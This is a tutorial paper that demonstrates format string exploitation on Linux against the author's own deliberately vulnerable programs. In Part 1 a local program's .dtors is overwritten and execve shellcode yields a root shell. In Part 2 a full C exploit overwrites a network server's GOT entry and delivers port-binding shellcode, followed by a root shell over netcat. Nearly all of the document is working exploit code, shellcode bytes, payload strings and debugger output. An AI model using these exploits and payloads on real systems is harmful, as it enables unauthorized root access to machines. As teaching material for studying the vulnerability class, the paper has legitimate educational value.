Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com] Format String Exploitation Demonstration [LINUX] This paper assumes you have read the proper background information and/or technical details about the above subject. If not, please do so, because this read does not include key concepts but instead technical exploitation examples. That being said, enjoy. Knowledge is power. [PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL] bugs@linux:~$ cat fmt.c #include int main(int argc, char *argv[]) { char buf[1024+1]; if(argc < 2) { printf("usage: %s data\n", argv[0]); return 0; } snprintf(buf, sizeof(buf)-1, "%s", argv[1]); printf(buf); // clearly a format string bug printf("\n"); return 0; } bugs@linux:~$ gcc -o fmt fmt.c bugs@linux:~$ ./fmt usage: ./fmt data bugs@linux:~$ ./fmt AAAA`perl -e 'print ".%p" x 20'` AAAA.0x400.0x8048584.0xbffff727.(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025 bugs@linux:~$ ./fmt AAAA`perl -e 'print ".%p" x 12'` AAAA.0x400.0x8048584.0xbffff73f.(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).0x41414141 bugs@linux:~$ *** OFFSET = 12 *** bugs@linux:~$ nm fmt | grep DTOR 0804959c d __DTOR_END__ 08049598 d __DTOR_LIST__ bugs@linux:~$ *** DTORS = 0x0804959c *** bugs@linux:~$ gdb fmt GNU gdb 6.5 Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-linux"...Using host libthread_db library "/lib/libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x80483dd (gdb) r `perl -e 'print "\x90" x 800 . "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` Starting program: /home/bugs/fmt `perl -e 'print "\x90" x 800 . "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` Breakpoint 1, 0x080483dd in main () (gdb) i r eax 0x4015e47c 1075176572 ecx 0x0 0 edx 0xbffff2f4 -1073745164 ebx 0x4015bff0 1075167216 esp 0xbfffee80 0xbfffee80 ebp 0xbffff2a8 0xbffff2a8 esi 0xbffff300 -1073745152 edi 0x2 2 eip 0x80483dd 0x80483dd eflags 0x282 [ SF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 (gdb) x/100x $esi+500 0xbffff4f4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff504: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff514: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff524: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff534: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff544: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff554: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff564: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff574: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff584: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff594: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5a4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5b4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5c4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5d4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5e4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5f4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff604: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff614: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff624: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff634: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff644: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff654: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff664: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff674: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) q The program is running. Exit anyway? (y or n) y bugs@linux:~$ *** RETURN ADDRESS = ~0xbffffxxx (lets use 0xbffff544) *** bugs@linux:~$ pcalc 0x44-16 52 0x34 0y110100 bugs@linux:~$ pcalc 0xf5-0x44 177 0xb1 0y10110001 bugs@linux:~$ pcalc 0x1ff-0xf5 266 0x10a 0y100001010 bugs@linux:~$ pcalc 0x1bf-0xff 192 0xc0 0y11000000 bugs@linux:~$ Now lets put it all together... DTORS --> DTORS+1 --> DTORS+2 --> DTORS+3 \x9c\x95\x04\x08\x9d\x95\x04\x08\x9e\x95\x04\x08\x9f\x95\x04\x08 0804959c --> 0804959d --> 0804959e --> 0804959f Write our return address (0xbffff544) and offsets %11\$52x%12\$n%11\$177x%13\$n%11\$266x%14\$n%11\$192x%15\$n 44 offset f5 offset+1 ff offset+2 bf offset+3 Put our nops and shellcode on the stack `perl -e 'print "\x90" x 800 . "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` NOPS + SHELLCODE bugs@linux:~$ ./fmt `printf "\x9c\x95\x04\x08\x9d\x95\x04\x08\x9e\x95\x04\x08\x9f\x95\x04\x08"`%11\$52x%12\$n%11\$177x%13\$n%11\$266x%14\$n%11\$192x%15\$n`perl -e 'print "\x90" x 800 . "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` ��� 0 0 0 0�����1�1۰̀1�Ph//shh/bin��PS�ᙰ sh-3.1# id uid=0(root) gid=100(users) groups=100(users) sh-3.1# exit exit bugs@linux:~$ [PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE] Instead of using .dtors, we will use the Global Offset Table (GOT) for remote action. [Terminal #1] bugs@linux:~$ cat fmtserv.c #include #include #include #include #define BUFFSZ 1024 #define READSZ 2048 int main(int argc, char *argv[]) { if(argc < 2) { printf("Usage: %s port\n", argv[0]); return 0; } int z, cli, serv, port = atoi(argv[1]); struct sockaddr_in client, server; server.sin_family = AF_INET; server.sin_port = htons(port); server.sin_addr.s_addr = INADDR_ANY; if((serv = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Error: socket()\n"); return -1; } if(bind(serv, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) { printf("Error: bind()\n"); return -1; } if(listen(serv, 10) == -1) { printf("Error: listen()\n"); return -1; } for(;;) { cli = accept(serv, (struct sockaddr *)&client, &z); if(vulnerable(cli) == -1) { printf("Error: vulnerable()\n"); close(cli); } } return 0; } int vulnerable(int sock) { char buffer[BUFFSZ], readbuf[READSZ]; memset(buffer, 0, BUFFSZ); memset(readbuf, 0, READSZ); read(sock, readbuf, READSZ, 0); snprintf(buffer, BUFFSZ-1, readbuf); // format string vulnerability here send(sock, buffer, BUFFSZ, 0); close(sock); } bugs@linux:~$ gcc -o fmtserv fmtserv.c bugs@linux:~$ objdump -R fmtserv fmtserv: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049a5c R_386_GLOB_DAT __gmon_start__ 08049a6c R_386_JUMP_SLOT close 08049a70 R_386_JUMP_SLOT accept 08049a74 R_386_JUMP_SLOT listen 08049a78 R_386_JUMP_SLOT __libc_start_main 08049a7c R_386_JUMP_SLOT printf 08049a80 R_386_JUMP_SLOT bind 08049a84 R_386_JUMP_SLOT snprintf // we will use this address 08049a88 R_386_JUMP_SLOT atoi 08049a8c R_386_JUMP_SLOT send 08049a90 R_386_JUMP_SLOT htons 08049a94 R_386_JUMP_SLOT memset 08049a98 R_386_JUMP_SLOT socket 08049a9c R_386_JUMP_SLOT read bugs@linux:~$ ./fmtserv 1234 [Terminal #2] bugs@linux:~$ nc localhost 1234 test test bugs@linux:~$ nc localhost 1234 AAAA%p%p%p%p%p%p%p%p%p%p AAAA(nil)0x414141410x702570250x702570250x702570250x702570250x702570250xa(nil)(nil) bugs@linux:~$ nc localhost 1234 AAAA%2$x AAAA41414141 bugs@linux:~$ Our offset is 2. [Terminal #1] bugs@linux:~$ gdb fmtserv GNU gdb 6.5 Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-linux"...Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r 5555 Starting program: /home/bugs/fmtserv 5555 [Terminal #2] bugs@linux:~$ cat fmtsrvex.c #include #include #include #include #define GOTADDR 0x08049a84 // snprintf() --> objdump -R fmtserv #define RETADDR 0x41424344 // return address to hit nop slide + shellcode #define OFFSET 2 #define SIZE 1024 char shellcode[] = /* Linux Portbind @ 52972 */ "\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89" "\xe1\xcd\x80\x52\x43\x68\xff\x02\xce\xec\x89\xe1" "\x6a\x10\x51\x50\x89\xe1\x89\xc6\xb0\x66\xcd\x80" "\x43\x43\xb0\x66\xcd\x80\x52\x56\x89\xe1\x43\xb0" "\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80" "\x41\xe2\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f" "\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; int main(int argc, char *argv[]) { if(argc < 3) { printf("Usage: %s host port\n", argv[0]); return 0; } char buffer[SIZE], *host = argv[1], *got[3] = {((char *)GOTADDR + 2), ((char *)GOTADDR),}; int i, high, low, len, sock, port = atoi(argv[2]); struct sockaddr_in target; high = (RETADDR & 0xffff0000) >> 16; low = (RETADDR & 0x0000ffff); high -= 0x8; sprintf(buffer, "%s%%.%dx%%%d$hn%%.%dx%%%d$hn", &got, high, OFFSET, (low - high) - 0x8, OFFSET + 1); memset(buffer + strlen(buffer), '\x90', 512); sprintf(buffer + strlen(buffer), "%s\r\n", shellcode); len = strlen(buffer); target.sin_family = AF_INET; target.sin_port = htons(port); target.sin_addr.s_addr = inet_addr(host); if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Error: socket()\n"); return -1; } if(connect(sock, (struct sockaddr *)&target, sizeof(struct sockaddr)) == -1) { printf("Error: connect()\n"); return -1; } send(sock, buffer, len, 0); close(sock); if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Error: socket()\n"); return -1; } if(connect(sock, (struct sockaddr *)&target, sizeof(struct sockaddr)) == -1) { printf("Error: connect()\n"); return -1; } send(sock, buffer, len, 0); close(sock); return 0; } bugs@linux:~$ gcc -o fmtsrvex fmtsrvex.c bugs@linux:~$ ./fmtsrvex Usage: ./fmtsrvex host port bugs@linux:~$ ./fmtsrvex 127.0.0.1 5555 bugs@linux:~$ [Terminal #1] Program received signal SIGSEGV, Segmentation fault. 0x41424344 in ?? () (gdb) x/100x $esp+200 0xbfffea14: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffea24: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffea34: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffea44: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffea54: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffea64: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffea74: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffea84: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffea94: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffeaa4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffeab4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffeac4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffead4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffeae4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffeaf4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffeb04: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffeb14: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffeb24: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffeb34: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffeb44: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffeb54: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffeb64: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffeb74: 0x90909090 0x90909090 0x90909090 0x6a58666a 0xbfffeb84: 0x52995b01 0x89026a53 0x5280cde1 0x02ff6843 0xbfffeb94: 0xe189ecce 0x5051106a 0xc689e189 0x80cd66b0 (gdb) q The program is running. Exit anyway? (y or n) y root@linux:~# ./fmtserv 5555 [Terminal #2] bugs@linux:~$ grep RETADDR fmtsrvex.c #define RETADDR 0x41424344 // return address to hit nop slide + shellcode high = (RETADDR & 0xffff0000) >> 16; low = (RETADDR & 0x0000ffff); bugs@linux:~$ pico fmtsrvex.c bugs@linux:~$ grep RETADDR fmtsrvex.c #define RETADDR 0xbfffeaa4 // return address to hit nop slide + shellcode high = (RETADDR & 0xffff0000) >> 16; low = (RETADDR & 0x0000ffff); bugs@linux:~$ gcc -o fmtsrvex fmtsrvex.c bugs@linux:~$ netstat -antp | grep 52972 (No info could be read for "-p": geteuid()=1000 but you should be root.) bugs@linux:~$ ./fmtsrvex 127.0.0.1 5555 bugs@linux:~$ netstat -antp | grep 52972 (No info could be read for "-p": geteuid()=1000 but you should be root.) tcp 0 0 0.0.0.0:52972 0.0.0.0:* LISTEN - bugs@linux:~$ nc localhost 52972 id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy) exit bugs@linux:~$ Questions. Comments. Concerns. --> 0xjbrown41@gmail.com